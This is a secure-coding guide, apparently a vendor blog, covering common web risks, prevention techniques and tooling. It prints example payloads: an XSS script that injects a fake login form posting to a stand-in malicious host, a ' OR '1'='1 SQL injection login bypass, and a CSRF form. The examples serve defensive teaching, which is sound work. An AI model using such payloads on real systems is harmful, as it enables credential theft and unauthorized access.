Secure Coding: Top Risks, Best Practices, and Techniques

Secure coding is an increasingly critical aspect of modern application development as cloud-based applications become targeted more often by hackers. Unlike traditional coding, which focuses on functionality, secure coding addresses vulnerabilities early in the development process.

This approach ensures applications are not only functional but also resilient to threats like SQL injection and cross-site scripting (XSS). For developers, mastering secure coding practices is essential to protecting applications and user data in an increasingly dangerous cyber landscape.

This article delves into key vulnerabilities, best practices, tools, and strategies for creating secure applications in today’s digital world.

» Learn how to develop secure code faster with Jit

5 most common web application risks, and how to prevent them





1. Cross-Site Scripting (XSS)

XSS is a prevalent and highly dangerous vulnerability that occurs when malicious scripts are injected into trusted websites and executed in the browser of an unsuspecting user, often without their knowledge. Attackers exploit XSS vulnerabilities to steal sensitive data such as cookies and session tokens or even to manipulate the content displayed on a web page.

In some cases, XSS attacks can redirect users to phishing sites or install malware. This type of attack often stems from inadequate input handling, where user-generated content is not properly sanitized or validated. The impact of XSS attacks is not limited to individual users but can extend to eroding trust in the application and the organization hosting it.

Prevention Techniques

• Input validation: Limit accepted user inputs to expected formats and data types, reducing the risk of malicious code being entered into fields. Validate inputs both on the client and server sides for comprehensive protection.

• Output encoding: Ensure that special characters (e.g., <, >, &) are encoded before rendering them in the browser. Encoding ensures these characters are treated as plain text rather than executable code. Libraries like OWASP's ESAPI are excellent tools for automating encoding.

• Content security policy (CSP): Enforce a robust CSP to control the resources (e.g., scripts, styles, iframes) that can run on your application. A well-configured CSP minimizes the risk of executing unauthorized scripts by defining strict execution rules.

Example Attack

An attacker finds a vulnerability in a banking application that allows unsanitized user input to be displayed on the homepage. The attacker injects the following code into a comment section:

<script>
 document.body.innerHTML = 
 '<form action="http://malicious-site.com" method="POST">' + 
 '<input name="username" placeholder="Username" />' +
 '<input name="password" type="password" placeholder="Password" />' +
 '<button type="submit">Log in</button>' + 
 '</form>';
</script>

2. Cross-Site Request Forgery (CSRF)

CSRF is a subtle yet powerful attack that forces authenticated users to execute unwanted actions on a trusted web application. For instance, an attacker could craft a malicious link or form that, when clicked by the user, triggers actions like fund transfers, account updates, or privilege changes without the user’s knowledge.

What makes CSRF particularly dangerous is that the attack leverages the victim's authenticated session, giving it access to sensitive resources or functionalities.

Prevention Techniques

• CSRF tokens: Generate unique, session-specific tokens for each form or request. These tokens are validated server-side, ensuring that the request is legitimate and originated from a trusted user.

• Referer header checks: Validate the referer header in incoming requests to confirm they are from the expected domain. Although not foolproof, this adds an additional layer of security against unauthorized requests.

• SameSite cookies: Configure cookies with the 'SameSite' attribute to prevent their inclusion in cross-origin requests. This limits the attacker’s ability to misuse cookies in fraudulent requests.

Example Attack

A social media platform has a feature that allows users to purchase ad credits. The form for purchasing credits looks like this:

<form action="https://socialmedia.com/buyCredits" method="POST">
    <input type="hidden" name="user_id" value="victim_user_id">
    <input type="hidden" name="amount" value="500">
    <input type="submit" value="Buy Credits">
</form>

3. SQL Injection

SQL injection is one of the most critical and widespread vulnerabilities. It allows attackers to manipulate database queries through malicious user input. This attack can result in unauthorized access to sensitive data, deletion or modification of records, and even complete compromise of the database.

The consequences of SQL injection can range from minor data breaches to catastrophic system failures, particularly in applications handling sensitive information like financial or healthcare records.

Prevention Techniques

• Parameterized queries: Use prepared statements that separate SQL code from user input. This ensures that user-provided data is treated strictly as a parameter, preventing it from being interpreted as part of the SQL command.

• ORM frameworks: Employ ORM tools like Hibernate, Sequelize, or Entity Framework, which abstract query construction and mitigate the risk of injection vulnerabilities. These frameworks are designed to handle input safely by default.

• Database permissions: Limit database user privileges to the minimum necessary for the application. For example, a web application user account should only have read or write permissions for specific tables, reducing the potential damage from an exploited query.

Example Attack

An online store has a login form that directly embeds user input into SQL queries:

SELECT * FROM users WHERE username = 'user_input' 
AND password = 'user_password';

' OR '1'='1

The resulting SQL query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' 
AND password = 'user_password';

Since '1'='1' always evaluates as true, the query bypasses authentication, giving the attacker unauthorized access to the database.

4. Brute Force Attacks

Brute-force attacks are persistent threats in which attackers use automated scripts to repeatedly guess login credentials. These attacks exploit weak or commonly used passwords and unprotected authentication endpoints.

Brute force methods are not limited to guessing passwords but can also target API keys or cryptographic tokens. The lack of effective countermeasures, such as rate limiting or CAPTCHA systems, often makes these attacks easier for adversaries.

If successful, attackers can gain unauthorized access, potentially leading to data breaches, privilege escalation, or system control.

Prevention Techniques

• Rate limiting: Implement restrictions on the number of login attempts per user or IP address within a specified timeframe, such as three attempts per minute. This limits the speed at which brute force attempts can occur and might help you spot the attempts.
• CAPTCHA: Integrate CAPTCHA solutions like Google reCAPTCHA to distinguish between human users and automated scripts. CAPTCHAs effectively disrupt automated attack tools.
• Account lockout policies: Temporarily lock user accounts after several consecutive failed login attempts and potentially request that they update their login details. This measure discourages attackers from persisting in brute force efforts and protects legitimate users.

Example Attack

An attacker uses an automated script to attempt thousands of username and password combinations on a poorly protected login endpoint. For example:

• Username: 'admin',

• Passwords tried: 'admin123', 'password', 'qwerty123', etc.

Without rate limiting or account lockout policies, the attacker eventually guesses the correct credentials, gaining access to the admin account and sensitive application data.

5. Sensitive Data Exposure

Sensitive data exposure occurs when applications fail to adequately protect critical information, such as passwords, credit card numbers, or personal identifiers.

This vulnerability often stems from improper storage practices, weak encryption, or insecure transmission protocols. Attackers exploiting this flaw can steal or misuse the data, resulting in identity theft, financial fraud, and significant reputational damage to the organization.

The importance of securing sensitive data cannot be overstated, especially in industries like finance and healthcare where compliance with strict regulations is mandatory.

Prevention Techniques

• Tokenization: Replace sensitive data with unique tokens that hold no exploitable value. Tokens are mapped to the original data through secure systems, providing an additional layer of abstraction.

• Data minimization: Avoid collecting or storing unnecessary data. Regularly review and delete obsolete information to reduce the attack surface and the impact of potential breaches.

Example Attack

An e-commerce platform stores user passwords in plain text in its database. A data breach exposes the database, revealing usernames and passwords. Since many users reuse passwords across platforms, attackers use these credentials to access other accounts (e.g., email & banking).

Additionally, if the database is leaked, sensitive information such as credit card numbers stored without encryption can lead to financial fraud.

Best Practices for Secure Coding

1. Employee Training

Conduct annual training sessions to educate developers on secure coding practices and the latest security threats. Empowering teams with knowledge fosters a proactive approach to web and application security.

2. Encryption

Encryption is critical to safeguarding sensitive data, both at rest and in transit. Without robust encryption, data is vulnerable to interception, theft, or tampering.

Encrypting data at rest ensures that even if storage systems are compromised, the data remains inaccessible. Similarly, encrypting data in transit prevents attackers from intercepting sensitive information during transmission.

Encryption tips:

• Modern protocols: Adopt TLS 1.3 for encrypting data in transit and AES-256 for encrypting data at rest. These are industry standards for secure encryption.

• Secure key management: Use specialized tools like HashiCorp Vault to store and manage encryption keys securely, preventing unauthorized access.

• Regular key rotation: Rotate encryption keys periodically to minimize risks associated with potential key exposure. Automate key rotation wherever possible to ensure consistency.

3. Logging and Monitoring

Logging and monitoring are essential for detecting and responding to security incidents. By tracking system activity, organizations can identify patterns, detect anomalies, and respond to threats proactively. Poor logging practices, however, can expose sensitive data and create additional vulnerabilities.

Logging and monitoring tips:

• Mask sensitive data: Ensure that logs do not expose sensitive information such as passwords, API keys, or personal identification details. Use filters to sanitize sensitive data.

• Set retention policies: Define a clear policy for retaining logs, limiting storage duration to only what is necessary for compliance or analysis purposes.

• Configure alerts: Implement alerting mechanisms to flag unusual activities, such as multiple failed login attempts or unexpected data access patterns.

4. Dependency Management

Third-party libraries and dependencies are a common source of vulnerabilities in modern applications. Using outdated or untrusted libraries can expose your application to significant risks. Proper dependency management ensures that your software remains secure and up-to-date.

Dependency management tips:

• Minimize dependencies: Avoid unnecessary dependencies and rely on core functionality provided by mature frameworks and libraries.

• Use reputable sources: Choose libraries with strong community support, frequent updates, and a proven track record for security. Check metrics such as downloads, issues, and maintenance activity on platforms like GitHub.

• Automated scanning: Leverage tools like Jit SCA or OWASP Dependency-Check to scan for vulnerabilities in your dependencies and receive automated alerts for updates or patches.

» Check out our guide to dependency tree mapping

5. Utilize Secure Frameworks

Modern frameworks like React.js and Spring Boot incorporate security features by design, reducing the burden on developers to implement these protections manually.

Tips for utilizing secure frameworks:

• Retain default settings: Frameworks often include built-in security mechanisms such as CSRF protection, output encoding, and secure cookie handling. Avoid disabling these settings unless absolutely necessary.

• Avoid manual overrides: Resist the temptation to bypass or rewrite built-in security features, as this can introduce vulnerabilities.

• Leverage security features: Use the security modules provided by the frameworks, such as Spring Security for authentication and access control or React’s protection against XSS attacks.

» Learn more with our guide to choosing and automating security frameworks and tips to use the SLSA framework

6. Implement vulnerability detection and logging tools

To integrate secure coding into the development workflow, developers can leverage various tools designed to identify vulnerabilities, maintain code quality, and enforce best practices. These tools streamline the process of building secure applications and provide continuous oversight.

Examples of different security tools:

• Code security scanners: Tools like GitHub Security, ZAP, and static or dynamic application security testing (SAST/DAST) solutions identify vulnerabilities in code and application behavior. Dependency scanners like Jit SCA monitor third-party libraries for known vulnerabilities, ensuring secure dependencies.

• Secrets detection tools: Secrets scanners, such as Jit secrets detection, detect exposed credentials or sensitive data in code repositories. These tools proactively prevent leaks by alerting developers to potential issues before they escalate and enabling swift remediation.

• Code quality tools: Linters, like ESLint for JavaScript or Pylint for Python, enforce coding standards and highlight areas for improvement, ensuring that secure coding principles are followed consistently.

• Logging and monitoring systems: Platforms like New Relic provide structured logging, real-time monitoring, and alert configuration. These capabilities help detect and respond to unusual activity, supporting ongoing application security efforts.

» Here's our list of the best open-source application security tools and our guide to running free secret scans with Gitleaks and Jit

Advanced Techniques for Enhancing Development Security

1. Serialization Security

Serialization enables objects to be converted into formats like JSON or XML for storage or transmission, while insecure deserialization can introduce significant vulnerabilities. Attackers can craft malicious data to exploit deserialization processes, potentially gaining unauthorized access or executing arbitrary code.

Best practices for serialization security:

• Use text-based formats: Opt for formats like JSON or XML instead of binary formats to reduce the risk of executing malicious code during deserialization.

• Whitelist data types: Define and restrict the classes or data types allowed during deserialization, ensuring only expected data is processed.

• Secure library settings: Configure deserialization libraries to enable security features, such as disallowing unexpected object types or preventing network calls during deserialization.

2. Session Hijacking Prevention

Session hijacking occurs when an attacker gains unauthorized access to a user’s session by stealing their session identifier, typically stored in cookies. This attack can compromise sensitive user data or account control.

Techniques to prevent session hijacking:

• Secure flag: Set the 'Secure' flag on cookies to ensure they are only transmitted over HTTPS, protecting them from interception.

• HTTP-only flag: Use the 'HttpOnly' flag to prevent client-side scripts, such as those from XSS attacks, from accessing session cookies.

• SameSite policies: Apply the 'SameSite' attribute to cookies, restricting their use to requests originating from the same domain.

• Session timeouts: Implement short session expiration times and require periodic re-authentication for extended activity.

3. CI/CD Pipeline Security

Continuous Integration and Continuous Deployment (CI/CD) pipelines are essential for modern software development, but they can also introduce vulnerabilities if not properly secured. Automating security checks within CI/CD pipelines reduces risks and ensures that security measures evolve alongside application features.

Best practices for CI/CD pipeline security:

• Automated security scans: Integrate static and dynamic analysis tools to identify vulnerabilities in code and runtime environments during the build process.

• Container scanning: Use tools like Trivy or Aqua Security to detect vulnerabilities in containerized applications and their dependencies.

• Periodic vulnerability reviews: Schedule regular security reviews of the pipeline and application to address emerging threats and vulnerabilities.

» Need specific tools? Here are our recommendations for the best SAST tools and DAST tools

The Shift-Left Approach to Secure Coding: A New Standard for Development

The shift-left security approach prioritizes application security from the earliest development stages rather than addressing it late in the process. 

Traditionally, security concerns were tackled during testing or after deployment, often leading to costly vulnerabilities. Shift-left integrates secure design into the planning, design, and coding phases, enabling early detection and prevention of risks, saving resources, and reducing exposure.

This methodology fosters security awareness among developers and aligns with DevSecOps principles, where security is a shared responsibility. Using secure frameworks, early security scans, and CI/CD testing helps identify and mitigate risks before they escalate. Shift-left not only improves application security but also balances speed-to-market with resilience, ensuring robust applications from the outset.

Benefits of the Shift-Left Approach

• Early risk detection: Identifies vulnerabilities during development, reducing the likelihood of costly fixes later.

• Cost efficiency: Prevents expensive post-deployment security issues by addressing risks upfront.

• Enhanced developer awareness: Encourages developers to adopt security best practices throughout the coding process.

• Faster delivery: Streamlines the secure development lifecycle by integrating security into CI/CD workflows.

• Improved compliance: Ensures adherence to industry standards and regulations, minimizing legal and reputational risks. 

Level up Your Coding Security

Secure coding bridges the gap between functionality and safety, transforming applications into robust, trustworthy platforms for users and businesses alike. Whether through mitigating vulnerabilities like SQL injection or leveraging tools to automate security checks, these practices define a proactive approach to cybersecurity.

By embedding these principles into every stage of development, organizations not only protect their applications but also reinforce the trust that underpins their digital relationships.

» Book a demo with us to see how Jit can improve your coding security